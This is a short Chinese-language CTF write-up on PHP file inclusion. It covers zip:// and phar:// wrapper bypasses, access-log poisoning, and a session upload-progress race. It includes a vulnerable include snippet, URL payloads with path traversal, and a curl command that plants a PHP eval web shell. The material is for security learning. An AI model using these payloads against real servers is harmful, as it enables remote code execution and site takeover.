0%

CTF-文件包含

文件包含

伪协议

1
php伪协议事实上就是其支持的协议与封装协议

参考文档:

https://www.php.net/manual/zh/wrappers.php

当只允许上传zip文件

使用zip协议phar协议解压

文件包含漏洞

1
2
3
4
<?php
$file=$_GET['file'];
include($file."php");
?>

绕过方法:

新建一个test.php

1
2
3
<?php
phpinfo();
?>

使用zip进行无损压缩test.php,phpinfo.zip

利用伪协议 解压缩zip文件

1
2
3
?file=zip://upload/phpinfo.zip%23phpinfo
?file=phar://upload/phpinfo.zip/phpinfo
phar要在php5.3后的版本使用

如果后面拼接的是jpg,

解决方法,新建php文件改名为jpg,然后压缩即可。

日志文件的利用

1
无法找到包含的文件,此时可使用日志文件

环境:httpd.conf文件中的配置CustomLog”logs/access.log”common

通过burp访问参数,不然会记录到日志文件后会被URL编码,导致无法当作php代码执行。

1
?a=<?php+phpinfo();?>

然后通过文件包含漏洞页面

1
/?file=../../../Extensions\Apache2.4.39\logs/access.log

session会话利用

关键点:

php7.2之后,提供了如果提交表单数据具有PHP_SESSION_UPLOAD_PROGRESS=上传后具体session名称 和file=@具体文件路径,此时可保存指定session名称的会话文件。

session_upload_progress.enabled开启

1
curl ...../test.php -H "Cookie:PHPSESSID=abc" -F "PHP_SESSION_UPLOAD_PROGRESS=<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>" -F "file=@/etc/passwd"

加代理,使用burp

1
curl -x 127.0.0.1:8090...

由于session_upload_progress.cleaned开启,需要竞争上传。

最终要不断访问的文件名为:

1
sess_abc

直到生成shell.php。

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道